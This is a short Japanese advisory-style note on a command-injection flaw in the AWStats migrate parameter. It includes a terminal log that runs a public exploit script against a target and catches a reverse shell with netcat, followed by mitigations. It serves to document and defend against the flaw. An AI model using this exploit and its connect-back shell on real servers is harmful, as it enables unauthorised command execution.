AWStatsの migrateパラメータ の脆弱性を使用したExploit。
Webサーバ特権の下で任意のコマンドを実行できる。
AWStatsの設定ファイルで「AllowToUpdateStatsFromBrowser」を有効にしている環境のみ影響を受ける。
$ nc -l -p 31337 -v
listening on [any] 31337 ...
$ ./awstats_migrate.py
[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org
http://secunia.com/advisories/19969/
http://blacksecurity.org - f0r my h0mi3s
USAGE: ./awstats.py http://host/awstats.pl <connect back host> <connect back port> [username] [password]
\* Support 401 HTTP Authentication
$
$ ./awstats_migrate.py http://192.168.1.20/awstats/awstats.pl 192.168.1.10 31337
[BL4CK] AWStats CMD Injection Exploit by redsand@blacksecurity.org
http://secunia.com/advisories/19969/
http://blacksecurity.org - f0r my h0mi3s
SUCCESS, now check to see if it connected-back properly to 192.168.1.10:31337
$
$ nc -l -p 31337 -v
listening on [any] 31337 ...
192.168.1.20: inverse host lookup failed: Unknown host
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.20] 1221
id
uid=1001(apache) gid=1001(apache) groups=1001(apache)
pwd
/tmp
「AllowToUpdateStatsFromBrowser」を無効(0)にする。
AWStats 6.6 以降にバージョンアップする。
AWStats への接続制限を行う。